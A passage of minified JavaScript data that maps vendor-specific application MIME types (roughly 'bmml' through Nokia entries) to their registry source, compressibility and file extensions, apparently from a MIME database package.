["bmml"]},"application/vnd.balsamiq.bmpr":{source:"iana"},"application/vnd.banana-accounting":{source:"iana"},"application/vnd.bbf.usp.error":{source:"iana"},"application/vnd.bbf.usp.msg":{source:"iana"},"application/vnd.bbf.usp.msg+json":{source:"iana",compressible:!0},"application/vnd.bekitzur-stech+json":{source:"iana",compressible:!0},"application/vnd.bint.med-content":{source:"iana"},"application/vnd.biopax.rdf+xml":{source:"iana",compressible:!0},"application/vnd.blink-idb-value-wrapper":{source:"iana"},"application/vnd.blueice.multipass":{source:"iana",extensions:["mpm"]},"application/vnd.bluetooth.ep.oob":{source:"iana"},"application/vnd.bluetooth.le.oob":{source:"iana"},"application/vnd.bmi":{source:"iana",extensions:["bmi"]},"application/vnd.bpf":{source:"iana"},"application/vnd.bpf3":{source:"iana"},"application/vnd.businessobjects":{source:"iana",extensions:["rep"]},"application/vnd.byu.uapi+json":{source:"iana",compressible:!0},"application/vnd.cab-jscript":{source:"iana"},"application/vnd.canon-cpdl":{source:"iana"},"application/vnd.canon-lips":{source:"iana"},"application/vnd.capasystems-pg+json":{source:"iana",compressible:!0},"application/vnd.cendio.thinlinc.clientconf":{source:"iana"},"application/vnd.century-systems.tcp_stream":{source:"iana"},"application/vnd.chemdraw+xml":{source:"iana",compressible:!0,extensions:["cdxml"]},"application/vnd.chess-pgn":{source:"iana"},"application/vnd.chipnuts.karaoke-mmd":{source:"iana",extensions:["mmd"]},"application/vnd.ciedi":{source:"iana"},"application/vnd.cinderella":{source:"iana",extensions:["cdy"]},"application/vnd.cirpack.isdn-ext":{source:"iana"},"application/vnd.citationstyles.style+xml":{source:"iana",compressible:!0,extensions:["csl"]},"application/vnd.claymore":{source:"iana",extensions:["cla"]},"application/vnd.cloanto.rp9":{source:"iana",extensions:["rp9"]},"application/vnd.clonk.c4group":{source:"iana",extensions:["c4g","c4d","c4f","c4p","c4u"]},"application/vnd.cluetrust.cartomobile-config":{source:"iana",extensions:["c11amc"]},"application/vnd.cluetrust.cartomobile-config-pkg":{source:"iana",extensions:["c11amz"]},"application/vnd.coffeescript":{source:"iana"},"application/vnd.collabio.xodocuments.document":{source:"iana"},"application/vnd.collabio.xodocuments.document-template":{source:"iana"},"application/vnd.collabio.xodocuments.presentation":{source:"iana"},"application/vnd.collabio.xodocuments.presentation-template":{source:"iana"},"application/vnd.collabio.xodocuments.spreadsheet":{source:"iana"},"application/vnd.collabio.xodocuments.spreadsheet-template":{source:"iana"},"application/vnd.collection+json":{source:"iana",compressible:!0},"application/vnd.collection.doc+json":{source:"iana",compressible:!0},"application/vnd.collection.next+json":{source:"iana",compressible:!0},"application/vnd.comicbook+zip":{source:"iana",compressible:!1},"application/vnd.comicbook-rar":{source:"iana"},"application/vnd.commerce-battelle":{source:"iana"},"application/vnd.commonspace":{source:"iana",extensions:["csp"]},"application/vnd.contact.cmsg":{source:"iana",extensions:["cdbcmsg"]},"application/vnd.coreos.ignition+json":{source:"iana",compressible:!0},"application/vnd.cosmocaller":{source:"iana",extensions:["cmc"]},"application/vnd.crick.clicker":{source:"iana",extensions:["clkx"]},"application/vnd.crick.clicker.keyboard":{source:"iana",extensions:["clkk"]},"application/vnd.crick.clicker.palette":{source:"iana",extensions:["clkp"]},"application/vnd.crick.clicker.template":{source:"iana",extensions:["clkt"]},"application/vnd.crick.clicker.wordbank":{source:"iana",extensions:["clkw"]},"application/vnd.criticaltools.wbs+xml":{source:"iana",compressible:!0,extensions:["wbs"]},"application/vnd.cryptii.pipe+json":{source:"iana",compressible:!0},"application/vnd.crypto-shade-file":{source:"iana"},"application/vnd.cryptomator.encrypted":{source:"iana"},"application/vnd.cryptomator.vault":{source:"iana"},"application/vnd.ctc-posml":{source:"iana",extensions:["pml"]},"application/vnd.ctct.ws+xml":{source:"iana",compressible:!0},"application/vnd.cups-pdf":{source:"iana"},"application/vnd.cups-postscript":{source:"iana"},"application/vnd.cups-ppd":{source:"iana",extensions:["ppd"]},"application/vnd.cups-raster":{source:"iana"},"application/vnd.cups-raw":{source:"iana"},"application/vnd.curl":{source:"iana"},"application/vnd.curl.car":{source:"apache",extensions:["car"]},"application/vnd.curl.pcurl":{source:"apache",extensions:["pcurl"]},"application/vnd.cyan.dean.root+xml":{source:"iana",compressible:!0},"application/vnd.cybank":{source:"iana"},"application/vnd.cyclonedx+json":{source:"iana",compressible:!0},"application/vnd.cyclonedx+xml":{source:"iana",compressible:!0},"application/vnd.d2l.coursepackage1p0+zip":{source:"iana",compressible:!1},"application/vnd.d3m-dataset":{source:"iana"},"application/vnd.d3m-problem":{source:"iana"},"application/vnd.dart":{source:"iana",compressible:!0,extensions:["dart"]},"application/vnd.data-vision.rdz":{source:"iana",extensions:["rdz"]},"application/vnd.datapackage+json":{source:"iana",compressible:!0},"application/vnd.dataresource+json":{source:"iana",compressible:!0},"application/vnd.dbf":{source:"iana",extensions:["dbf"]},"application/vnd.debian.binary-package":{source:"iana"},"application/vnd.dece.data":{source:"iana",extensions:["uvf","uvvf","uvd","uvvd"]},"application/vnd.dece.ttml+xml":{source:"iana",compressible:!0,extensions:["uvt","uvvt"]},"application/vnd.dece.unspecified":{source:"iana",extensions:["uvx","uvvx"]},"application/vnd.dece.zip":{source:"iana",extensions:["uvz","uvvz"]},"application/vnd.denovo.fcselayout-link":{source:"iana",extensions:["fe_launch"]},"application/vnd.desmume.movie":{source:"iana"},"application/vnd.dir-bi.plate-dl-nosuffix":{source:"iana"},"application/vnd.dm.delegation+xml":{source:"iana",compressible:!0},"application/vnd.dna":{source:"iana",extensions:["dna"]},"application/vnd.document+json":{source:"iana",compressible:!0},"application/vnd.dolby.mlp":{source:"apache",extensions:["mlp"]},"application/vnd.dolby.mobile.1":{source:"iana"},"application/vnd.dolby.mobile.2":{source:"iana"},"application/vnd.doremir.scorecloud-binary-document":{source:"iana"},"application/vnd.dpgraph":{source:"iana",extensions:["dpg"]},"application/vnd.dreamfactory":{source:"iana",extensions:["dfac"]},"application/vnd.drive+json":{source:"iana",compressible:!0},"application/vnd.ds-keypoint":{source:"apache",extensions:["kpxx"]},"application/vnd.dtg.local":{source:"iana"},"application/vnd.dtg.local.flash":{source:"iana"},"application/vnd.dtg.local.html":{source:"iana"},"application/vnd.dvb.ait":{source:"iana",extensions:["ait"]},"application/vnd.dvb.dvbisl+xml":{source:"iana",compressible:!0},"application/vnd.dvb.dvbj":{source:"iana"},"application/vnd.dvb.esgcontainer":{source:"iana"},"application/vnd.dvb.ipdcdftnotifaccess":{source:"iana"},"application/vnd.dvb.ipdcesgaccess":{source:"iana"},"application/vnd.dvb.ipdcesgaccess2":{source:"iana"},"application/vnd.dvb.ipdcesgpdd":{source:"iana"},"application/vnd.dvb.ipdcroaming":{source:"iana"},"application/vnd.dvb.iptv.alfec-base":{source:"iana"},"application/vnd.dvb.iptv.alfec-enhancement":{source:"iana"},"application/vnd.dvb.notif-aggregate-root+xml":{source:"iana",compressible:!0},"application/vnd.dvb.notif-container+xml":{source:"iana",compressible:!0},"application/vnd.dvb.notif-generic+xml":{source:"iana",compressible:!0},"application/vnd.dvb.notif-ia-msglist+xml":{source:"iana",compressible:!0},"application/vnd.dvb.notif-ia-registration-request+xml":{source:"iana",compressible:!0},"application/vnd.dvb.notif-ia-registration-response+xml":{source:"iana",compressible:!0},"application/vnd.dvb.notif-init+xml":{source:"iana",compressible:!0},"application/vnd.dvb.pfr":{source:"iana"},"application/vnd.dvb.service":{source:"iana",extensions:["svc"]},"application/vnd.dxr":{source:"iana"},"application/vnd.dynageo":{source:"iana",extensions:["geo"]},"application/vnd.dzr":{source:"iana"},"application/vnd.easykaraoke.cdgdownload":{source:"iana"},"application/vnd.ecdis-update":{source:"iana"},"application/vnd.ecip.rlp":{source:"iana"},"application/vnd.eclipse.ditto+json":{source:"iana",compressible:!0},"application/vnd.ecowin.chart":{source:"iana",extensions:["mag"]},"application/vnd.ecowin.filerequest":{source:"iana"},"application/vnd.ecowin.fileupdate":{source:"iana"},"application/vnd.ecowin.series":{source:"iana"},"application/vnd.ecowin.seriesrequest":{source:"iana"},"application/vnd.ecowin.seriesupdate":{source:"iana"},"application/vnd.efi.img":{source:"iana"},"application/vnd.efi.iso":{source:"iana"},"application/vnd.emclient.accessrequest+xml":{source:"iana",compressible:!0},"application/vnd.enliven":{source:"iana",extensions:["nml"]},"application/vnd.enphase.envoy":{source:"iana"},"application/vnd.eprints.data+xml":{source:"iana",compressible:!0},"application/vnd.epson.esf":{source:"iana",extensions:["esf"]},"application/vnd.epson.msf":{source:"iana",extensions:["msf"]},"application/vnd.epson.quickanime":{source:"iana",extensions:["qam"]},"application/vnd.epson.salt":{source:"iana",extensions:["slt"]},"application/vnd.epson.ssf":{source:"iana",extensions:["ssf"]},"application/vnd.ericsson.quickcall":{source:"iana"},"application/vnd.espass-espass+zip":{source:"iana",compressible:!1},"application/vnd.eszigno3+xml":{source:"iana",compressible:!0,extensions:["es3","et3"]},"application/vnd.etsi.aoc+xml":{source:"iana",compressible:!0},"application/vnd.etsi.asic-e+zip":{source:"iana",compressible:!1},"application/vnd.etsi.asic-s+zip":{source:"iana",compressible:!1},"application/vnd.etsi.cug+xml":{source:"iana",compressible:!0},"application/vnd.etsi.iptvcommand+xml":{source:"iana",compressible:!0},"application/vnd.etsi.iptvdiscovery+xml":{source:"iana",compressible:!0},"application/vnd.etsi.iptvprofile+xml":{source:"iana",compressible:!0},"application/vnd.etsi.iptvsad-bc+xml":{source:"iana",compressible:!0},"application/vnd.etsi.iptvsad-cod+xml":{source:"iana",compressible:!0},"application/vnd.etsi.iptvsad-npvr+xml":{source:"iana",compressible:!0},"application/vnd.etsi.iptvservice+xml":{source:"iana",compressible:!0},"application/vnd.etsi.iptvsync+xml":{source:"iana",compressible:!0},"application/vnd.etsi.iptvueprofile+xml":{source:"iana",compressible:!0},"application/vnd.etsi.mcid+xml":{source:"iana",compressible:!0},"application/vnd.etsi.mheg5":{source:"iana"},"application/vnd.etsi.overload-control-policy-dataset+xml":{source:"iana",compressible:!0},"application/vnd.etsi.pstn+xml":{source:"iana",compressible:!0},"application/vnd.etsi.sci+xml":{source:"iana",compressible:!0},"application/vnd.etsi.simservs+xml":{source:"iana",compressible:!0},"application/vnd.etsi.timestamp-token":{source:"iana"},"application/vnd.etsi.tsl+xml":{source:"iana",compressible:!0},"application/vnd.etsi.tsl.der":{source:"iana"},"application/vnd.eu.kasparian.car+json":{source:"iana",compressible:!0},"application/vnd.eudora.data":{source:"iana"},"application/vnd.evolv.ecig.profile":{source:"iana"},"application/vnd.evolv.ecig.settings":{source:"iana"},"application/vnd.evolv.ecig.theme":{source:"iana"},"application/vnd.exstream-empower+zip":{source:"iana",compressible:!1},"application/vnd.exstream-package":{source:"iana"},"application/vnd.ezpix-album":{source:"iana",extensions:["ez2"]},"application/vnd.ezpix-package":{source:"iana",extensions:["ez3"]},"application/vnd.f-secure.mobile":{source:"iana"},"application/vnd.familysearch.gedcom+zip":{source:"iana",compressible:!1},"application/vnd.fastcopy-disk-image":{source:"iana"},"application/vnd.fdf":{source:"iana",extensions:["fdf"]},"application/vnd.fdsn.mseed":{source:"iana",extensions:["mseed"]},"application/vnd.fdsn.seed":{source:"iana",extensions:["seed","dataless"]},"application/vnd.ffsns":{source:"iana"},"application/vnd.ficlab.flb+zip":{source:"iana",compressible:!1},"application/vnd.filmit.zfc":{source:"iana"},"application/vnd.fints":{source:"iana"},"application/vnd.firemonkeys.cloudcell":{source:"iana"},"application/vnd.flographit":{source:"iana",extensions:["gph"]},"application/vnd.fluxtime.clip":{source:"iana",extensions:["ftc"]},"application/vnd.font-fontforge-sfd":{source:"iana"},"application/vnd.framemaker":{source:"iana",extensions:["fm","frame","maker","book"]},"application/vnd.frogans.fnc":{source:"iana",extensions:["fnc"]},"application/vnd.frogans.ltf":{source:"iana",extensions:["ltf"]},"application/vnd.fsc.weblaunch":{source:"iana",extensions:["fsc"]},"application/vnd.fujifilm.fb.docuworks":{source:"iana"},"application/vnd.fujifilm.fb.docuworks.binder":{source:"iana"},"application/vnd.fujifilm.fb.docuworks.container":{source:"iana"},"application/vnd.fujifilm.fb.jfi+xml":{source:"iana",compressible:!0},"application/vnd.fujitsu.oasys":{source:"iana",extensions:["oas"]},"application/vnd.fujitsu.oasys2":{source:"iana",extensions:["oa2"]},"application/vnd.fujitsu.oasys3":{source:"iana",extensions:["oa3"]},"application/vnd.fujitsu.oasysgp":{source:"iana",extensions:["fg5"]},"application/vnd.fujitsu.oasysprs":{source:"iana",extensions:["bh2"]},"application/vnd.fujixerox.art-ex":{source:"iana"},"application/vnd.fujixerox.art4":{source:"iana"},"application/vnd.fujixerox.ddd":{source:"iana",extensions:["ddd"]},"application/vnd.fujixerox.docuworks":{source:"iana",extensions:["xdw"]},"application/vnd.fujixerox.docuworks.binder":{source:"iana",extensions:["xbd"]},"application/vnd.fujixerox.docuworks.container":{source:"iana"},"application/vnd.fujixerox.hbpl":{source:"iana"},"application/vnd.fut-misnet":{source:"iana"},"application/vnd.futoin+cbor":{source:"iana"},"application/vnd.futoin+json":{source:"iana",compressible:!0},"application/vnd.fuzzysheet":{source:"iana",extensions:["fzs"]},"application/vnd.genomatix.tuxedo":{source:"iana",extensions:["txd"]},"application/vnd.gentics.grd+json":{source:"iana",compressible:!0},"application/vnd.geo+json":{source:"iana",compressible:!0},"application/vnd.geocube+xml":{source:"iana",compressible:!0},"application/vnd.geogebra.file":{source:"iana",extensions:["ggb"]},"application/vnd.geogebra.slides":{source:"iana"},"application/vnd.geogebra.tool":{source:"iana",extensions:["ggt"]},"application/vnd.geometry-explorer":{source:"iana",extensions:["gex","gre"]},"application/vnd.geonext":{source:"iana",extensions:["gxt"]},"application/vnd.geoplan":{source:"iana",extensions:["g2w"]},"application/vnd.geospace":{source:"iana",extensions:["g3w"]},"application/vnd.gerber":{source:"iana"},"application/vnd.globalplatform.card-content-mgt":{source:"iana"},"application/vnd.globalplatform.card-content-mgt-response":{source:"iana"},"application/vnd.gmx":{source:"iana",extensions:["gmx"]},"application/vnd.google-apps.document":{compressible:!1,extensions:["gdoc"]},"application/vnd.google-apps.presentation":{compressible:!1,extensions:["gslides"]},"application/vnd.google-apps.spreadsheet":{compressible:!1,extensions:["gsheet"]},"application/vnd.google-earth.kml+xml":{source:"iana",compressible:!0,extensions:["kml"]},"application/vnd.google-earth.kmz":{source:"iana",compressible:!1,extensions:["kmz"]},"application/vnd.gov.sk.e-form+xml":{source:"iana",compressible:!0},"application/vnd.gov.sk.e-form+zip":{source:"iana",compressible:!1},"application/vnd.gov.sk.xmldatacontainer+xml":{source:"iana",compressible:!0},"application/vnd.grafeq":{source:"iana",extensions:["gqf","gqs"]},"application/vnd.gridmp":{source:"iana"},"application/vnd.groove-account":{source:"iana",extensions:["gac"]},"application/vnd.groove-help":{source:"iana",extensions:["ghf"]},"application/vnd.groove-identity-message":{source:"iana",extensions:["gim"]},"application/vnd.groove-injector":{source:"iana",extensions:["grv"]},"application/vnd.groove-tool-message":{source:"iana",extensions:["gtm"]},"application/vnd.groove-tool-template":{source:"iana",extensions:["tpl"]},"application/vnd.groove-vcard":{source:"iana",extensions:["vcg"]},"application/vnd.hal+json":{source:"iana",compressible:!0},"application/vnd.hal+xml":{source:"iana",compressible:!0,extensions:["hal"]},"application/vnd.handheld-entertainment+xml":{source:"iana",compressible:!0,extensions:["zmm"]},"application/vnd.hbci":{source:"iana",extensions:["hbci"]},"application/vnd.hc+json":{source:"iana",compressible:!0},"application/vnd.hcl-bireports":{source:"iana"},"application/vnd.hdt":{source:"iana"},"application/vnd.heroku+json":{source:"iana",compressible:!0},"application/vnd.hhe.lesson-player":{source:"iana",extensions:["les"]},"application/vnd.hl7cda+xml":{source:"iana",charset:"UTF-8",compressible:!0},"application/vnd.hl7v2+xml":{source:"iana",charset:"UTF-8",compressible:!0},"application/vnd.hp-hpgl":{source:"iana",extensions:["hpgl"]},"application/vnd.hp-hpid":{source:"iana",extensions:["hpid"]},"application/vnd.hp-hps":{source:"iana",extensions:["hps"]},"application/vnd.hp-jlyt":{source:"iana",extensions:["jlt"]},"application/vnd.hp-pcl":{source:"iana",extensions:["pcl"]},"application/vnd.hp-pclxl":{source:"iana",extensions:["pclxl"]},"application/vnd.httphone":{source:"iana"},"application/vnd.hydrostatix.sof-data":{source:"iana",extensions:["sfd-hdstx"]},"application/vnd.hyper+json":{source:"iana",compressible:!0},"application/vnd.hyper-item+json":{source:"iana",compressible:!0},"application/vnd.hyperdrive+json":{source:"iana",compressible:!0},"application/vnd.hzn-3d-crossword":{source:"iana"},"application/vnd.ibm.afplinedata":{source:"iana"},"application/vnd.ibm.electronic-media":{source:"iana"},"application/vnd.ibm.minipay":{source:"iana",extensions:["mpy"]},"application/vnd.ibm.modcap":{source:"iana",extensions:["afp","listafp","list3820"]},"application/vnd.ibm.rights-management":{source:"iana",extensions:["irm"]},"application/vnd.ibm.secure-container":{source:"iana",extensions:["sc"]},"application/vnd.iccprofile":{source:"iana",extensions:["icc","icm"]},"application/vnd.ieee.1905":{source:"iana"},"application/vnd.igloader":{source:"iana",extensions:["igl"]},"application/vnd.imagemeter.folder+zip":{source:"iana",compressible:!1},"application/vnd.imagemeter.image+zip":{source:"iana",compressible:!1},"application/vnd.immervision-ivp":{source:"iana",extensions:["ivp"]},"application/vnd.immervision-ivu":{source:"iana",extensions:["ivu"]},"application/vnd.ims.imsccv1p1":{source:"iana"},"application/vnd.ims.imsccv1p2":{source:"iana"},"application/vnd.ims.imsccv1p3":{source:"iana"},"application/vnd.ims.lis.v2.result+json":{source:"iana",compressible:!0},"application/vnd.ims.lti.v2.toolconsumerprofile+json":{source:"iana",compressible:!0},"application/vnd.ims.lti.v2.toolproxy+json":{source:"iana",compressible:!0},"application/vnd.ims.lti.v2.toolproxy.id+json":{source:"iana",compressible:!0},"application/vnd.ims.lti.v2.toolsettings+json":{source:"iana",compressible:!0},"application/vnd.ims.lti.v2.toolsettings.simple+json":{source:"iana",compressible:!0},"application/vnd.informedcontrol.rms+xml":{source:"iana",compressible:!0},"application/vnd.informix-visionary":{source:"iana"},"application/vnd.infotech.project":{source:"iana"},"application/vnd.infotech.project+xml":{source:"iana",compressible:!0},"application/vnd.innopath.wamp.notification":{source:"iana"},"application/vnd.insors.igm":{source:"iana",extensions:["igm"]},"application/vnd.intercon.formnet":{source:"iana",extensions:["xpw","xpx"]},"application/vnd.intergeo":{source:"iana",extensions:["i2g"]},"application/vnd.intertrust.digibox":{source:"iana"},"application/vnd.intertrust.nncp":{source:"iana"},"application/vnd.intu.qbo":{source:"iana",extensions:["qbo"]},"application/vnd.intu.qfx":{source:"iana",extensions:["qfx"]},"application/vnd.iptc.g2.catalogitem+xml":{source:"iana",compressible:!0},"application/vnd.iptc.g2.conceptitem+xml":{source:"iana",compressible:!0},"application/vnd.iptc.g2.knowledgeitem+xml":{source:"iana",compressible:!0},"application/vnd.iptc.g2.newsitem+xml":{source:"iana",compressible:!0},"application/vnd.iptc.g2.newsmessage+xml":{source:"iana",compressible:!0},"application/vnd.iptc.g2.packageitem+xml":{source:"iana",compressible:!0},"application/vnd.iptc.g2.planningitem+xml":{source:"iana",compressible:!0},"application/vnd.ipunplugged.rcprofile":{source:"iana",extensions:["rcprofile"]},"application/vnd.irepository.package+xml":{source:"iana",compressible:!0,extensions:["irp"]},"application/vnd.is-xpr":{source:"iana",extensions:["xpr"]},"application/vnd.isac.fcs":{source:"iana",extensions:["fcs"]},"application/vnd.iso11783-10+zip":{source:"iana",compressible:!1},"application/vnd.jam":{source:"iana",extensions:["jam"]},"application/vnd.japannet-directory-service":{source:"iana"},"application/vnd.japannet-jpnstore-wakeup":{source:"iana"},"application/vnd.japannet-payment-wakeup":{source:"iana"},"application/vnd.japannet-registration":{source:"iana"},"application/vnd.japannet-registration-wakeup":{source:"iana"},"application/vnd.japannet-setstore-wakeup":{source:"iana"},"application/vnd.japannet-verification":{source:"iana"},"application/vnd.japannet-verification-wakeup":{source:"iana"},"application/vnd.jcp.javame.midlet-rms":{source:"iana",extensions:["rms"]},"application/vnd.jisp":{source:"iana",extensions:["jisp"]},"application/vnd.joost.joda-archive":{source:"iana",extensions:["joda"]},"application/vnd.jsk.isdn-ngn":{source:"iana"},"application/vnd.kahootz":{source:"iana",extensions:["ktz","ktr"]},"application/vnd.kde.karbon":{source:"iana",extensions:["karbon"]},"application/vnd.kde.kchart":{source:"iana",extensions:["chrt"]},"application/vnd.kde.kformula":{source:"iana",extensions:["kfo"]},"application/vnd.kde.kivio":{source:"iana",extensions:["flw"]},"application/vnd.kde.kontour":{source:"iana",extensions:["kon"]},"application/vnd.kde.kpresenter":{source:"iana",extensions:["kpr","kpt"]},"application/vnd.kde.kspread":{source:"iana",extensions:["ksp"]},"application/vnd.kde.kword":{source:"iana",extensions:["kwd","kwt"]},"application/vnd.kenameaapp":{source:"iana",extensions:["htke"]},"application/vnd.kidspiration":{source:"iana",extensions:["kia"]},"application/vnd.kinar":{source:"iana",extensions:["kne","knp"]},"application/vnd.koan":{source:"iana",extensions:["skp","skd","skt","skm"]},"application/vnd.kodak-descriptor":{source:"iana",extensions:["sse"]},"application/vnd.las":{source:"iana"},"application/vnd.las.las+json":{source:"iana",compressible:!0},"application/vnd.las.las+xml":{source:"iana",compressible:!0,extensions:["lasxml"]},"application/vnd.laszip":{source:"iana"},"application/vnd.leap+json":{source:"iana",compressible:!0},"application/vnd.liberty-request+xml":{source:"iana",compressible:!0},"application/vnd.llamagraphics.life-balance.desktop":{source:"iana",extensions:["lbd"]},"application/vnd.llamagraphics.life-balance.exchange+xml":{source:"iana",compressible:!0,extensions:["lbe"]},"application/vnd.logipipe.circuit+zip":{source:"iana",compressible:!1},"application/vnd.loom":{source:"iana"},"application/vnd.lotus-1-2-3":{source:"iana",extensions:["123"]},"application/vnd.lotus-approach":{source:"iana",extensions:["apr"]},"application/vnd.lotus-freelance":{source:"iana",extensions:["pre"]},"application/vnd.lotus-notes":{source:"iana",extensions:["nsf"]},"application/vnd.lotus-organizer":{source:"iana",extensions:["org"]},"application/vnd.lotus-screencam":{source:"iana",extensions:["scm"]},"application/vnd.lotus-wordpro":{source:"iana",extensions:["lwp"]},"application/vnd.macports.portpkg":{source:"iana",extensions:["portpkg"]},"application/vnd.mapbox-vector-tile":{source:"iana",extensions:["mvt"]},"application/vnd.marlin.drm.actiontoken+xml":{source:"iana",compressible:!0},"application/vnd.marlin.drm.conftoken+xml":{source:"iana",compressible:!0},"application/vnd.marlin.drm.license+xml":{source:"iana",compressible:!0},"application/vnd.marlin.drm.mdcf":{source:"iana"},"application/vnd.mason+json":{source:"iana",compressible:!0},"application/vnd.maxar.archive.3tz+zip":{source:"iana",compressible:!1},"application/vnd.maxmind.maxmind-db":{source:"iana"},"application/vnd.mcd":{source:"iana",extensions:["mcd"]},"application/vnd.medcalcdata":{source:"iana",extensions:["mc1"]},"application/vnd.mediastation.cdkey":{source:"iana",extensions:["cdkey"]},"application/vnd.meridian-slingshot":{source:"iana"},"application/vnd.mfer":{source:"iana",extensions:["mwf"]},"application/vnd.mfmp":{source:"iana",extensions:["mfm"]},"application/vnd.micro+json":{source:"iana",compressible:!0},"application/vnd.micrografx.flo":{source:"iana",extensions:["flo"]},"application/vnd.micrografx.igx":{source:"iana",extensions:["igx"]},"application/vnd.microsoft.portable-executable":{source:"iana"},"application/vnd.microsoft.windows.thumbnail-cache":{source:"iana"},"application/vnd.miele+json":{source:"iana",compressible:!0},"application/vnd.mif":{source:"iana",extensions:["mif"]},"application/vnd.minisoft-hp3000-save":{source:"iana"},"application/vnd.mitsubishi.misty-guard.trustweb":{source:"iana"},"application/vnd.mobius.daf":{source:"iana",extensions:["daf"]},"application/vnd.mobius.dis":{source:"iana",extensions:["dis"]},"application/vnd.mobius.mbk":{source:"iana",extensions:["mbk"]},"application/vnd.mobius.mqy":{source:"iana",extensions:["mqy"]},"application/vnd.mobius.msl":{source:"iana",extensions:["msl"]},"application/vnd.mobius.plc":{source:"iana",extensions:["plc"]},"application/vnd.mobius.txf":{source:"iana",extensions:["txf"]},"application/vnd.mophun.application":{source:"iana",extensions:["mpn"]},"application/vnd.mophun.certificate":{source:"iana",extensions:["mpc"]},"application/vnd.motorola.flexsuite":{source:"iana"},"application/vnd.motorola.flexsuite.adsi":{source:"iana"},"application/vnd.motorola.flexsuite.fis":{source:"iana"},"application/vnd.motorola.flexsuite.gotap":{source:"iana"},"application/vnd.motorola.flexsuite.kmr":{source:"iana"},"application/vnd.motorola.flexsuite.ttc":{source:"iana"},"application/vnd.motorola.flexsuite.wem":{source:"iana"},"application/vnd.motorola.iprm":{source:"iana"},"application/vnd.mozilla.xul+xml":{source:"iana",compressible:!0,extensions:["xul"]},"application/vnd.ms-3mfdocument":{source:"iana"},"application/vnd.ms-artgalry":{source:"iana",extensions:["cil"]},"application/vnd.ms-asf":{source:"iana"},"application/vnd.ms-cab-compressed":{source:"iana",extensions:["cab"]},"application/vnd.ms-color.iccprofile":{source:"apache"},"application/vnd.ms-excel":{source:"iana",compressible:!1,extensions:["xls","xlm","xla","xlc","xlt","xlw"]},"application/vnd.ms-excel.addin.macroenabled.12":{source:"iana",extensions:["xlam"]},"application/vnd.ms-excel.sheet.binary.macroenabled.12":{source:"iana",extensions:["xlsb"]},"application/vnd.ms-excel.sheet.macroenabled.12":{source:"iana",extensions:["xlsm"]},"application/vnd.ms-excel.template.macroenabled.12":{source:"iana",extensions:["xltm"]},"application/vnd.ms-fontobject":{source:"iana",compressible:!0,extensions:["eot"]},"application/vnd.ms-htmlhelp":{source:"iana",extensions:["chm"]},"application/vnd.ms-ims":{source:"iana",extensions:["ims"]},"application/vnd.ms-lrm":{source:"iana",extensions:["lrm"]},"application/vnd.ms-office.activex+xml":{source:"iana",compressible:!0},"application/vnd.ms-officetheme":{source:"iana",extensions:["thmx"]},"application/vnd.ms-opentype":{source:"apache",compressible:!0},"application/vnd.ms-outlook":{compressible:!1,extensions:["msg"]},"application/vnd.ms-package.obfuscated-opentype":{source:"apache"},"application/vnd.ms-pki.seccat":{source:"apache",extensions:["cat"]},"application/vnd.ms-pki.stl":{source:"apache",extensions:["stl"]},"application/vnd.ms-playready.initiator+xml":{source:"iana",compressible:!0},"application/vnd.ms-powerpoint":{source:"iana",compressible:!1,extensions:["ppt","pps","pot"]},"application/vnd.ms-powerpoint.addin.macroenabled.12":{source:"iana",extensions:["ppam"]},"application/vnd.ms-powerpoint.presentation.macroenabled.12":{source:"iana",extensions:["pptm"]},"application/vnd.ms-powerpoint.slide.macroenabled.12":{source:"iana",extensions:["sldm"]},"application/vnd.ms-powerpoint.slideshow.macroenabled.12":{source:"iana",extensions:["ppsm"]},"application/vnd.ms-powerpoint.template.macroenabled.12":{source:"iana",extensions:["potm"]},"application/vnd.ms-printdevicecapabilities+xml":{source:"iana",compressible:!0},"application/vnd.ms-printing.printticket+xml":{source:"apache",compressible:!0},"application/vnd.ms-printschematicket+xml":{source:"iana",compressible:!0},"application/vnd.ms-project":{source:"iana",extensions:["mpp","mpt"]},"application/vnd.ms-tnef":{source:"iana"},"application/vnd.ms-windows.devicepairing":{source:"iana"},"application/vnd.ms-windows.nwprinting.oob":{source:"iana"},"application/vnd.ms-windows.printerpairing":{source:"iana"},"application/vnd.ms-windows.wsd.oob":{source:"iana"},"application/vnd.ms-wmdrm.lic-chlg-req":{source:"iana"},"application/vnd.ms-wmdrm.lic-resp":{source:"iana"},"application/vnd.ms-wmdrm.meter-chlg-req":{source:"iana"},"application/vnd.ms-wmdrm.meter-resp":{source:"iana"},"application/vnd.ms-word.document.macroenabled.12":{source:"iana",extensions:["docm"]},"application/vnd.ms-word.template.macroenabled.12":{source:"iana",extensions:["dotm"]},"application/vnd.ms-works":{source:"iana",extensions:["wps","wks","wcm","wdb"]},"application/vnd.ms-wpl":{source:"iana",extensions:["wpl"]},"application/vnd.ms-xpsdocument":{source:"iana",compressible:!1,extensions:["xps"]},"application/vnd.msa-disk-image":{source:"iana"},"application/vnd.mseq":{source:"iana",extensions:["mseq"]},"application/vnd.msign":{source:"iana"},"application/vnd.multiad.creator":{source:"iana"},"application/vnd.multiad.creator.cif":{source:"iana"},"application/vnd.music-niff":{source:"iana"},"application/vnd.musician":{source:"iana",extensions:["mus"]},"application/vnd.muvee.style":{source:"iana",extensions:["msty"]},"application/vnd.mynfc":{source:"iana",extensions:["taglet"]},"application/vnd.nacamar.ybrid+json":{source:"iana",compressible:!0},"application/vnd.ncd.control":{source:"iana"},"application/vnd.ncd.reference":{source:"iana"},"application/vnd.nearst.inv+json":{source:"iana",compressible:!0},"application/vnd.nebumind.line":{source:"iana"},"application/vnd.nervana":{source:"iana"},"application/vnd.netfpx":{source:"iana"},"application/vnd.neurolanguage.nlu":{source:"iana",extensions:["nlu"]},"application/vnd.nimn":{source:"iana"},"application/vnd.nintendo.nitro.rom":{source:"iana"},"application/vnd.nintendo.snes.rom":{source:"iana"},"application/vnd.nitf":{source:"iana",extensions:["ntf","nitf"]},"application/vnd.noblenet-directory":{source:"iana",extensions:["nnd"]},"application/vnd.noblenet-sealer":{source:"iana",extensions:["nns"]},"application/vnd.noblenet-web":{source:"iana",extensions:["nnw"]},"application/vnd.nokia.catalogs":{source:"iana"},"application/vnd.nokia.conml+wbxml":{source:"iana"},"application/vnd.nokia.conml+xml":{source:"iana",compressible:!0},"application/vnd.nokia.iptv.config+xml":{source:"iana",compressible:!0},"application/vnd.nokia.isds-radio-presets":{source:"iana"},"application/vnd.nokia.landmark+wbxml":{source:"iana"},"application/vnd.nokia.landmark+xml":{source:"iana",compressible:!0},"application/vnd.nokia.landmarkcollection+xml":{source:"iana",compressible:!0},"application/vnd.nokia.n-gage.ac+xml":{source:"iana",compressible:!0,extensions:[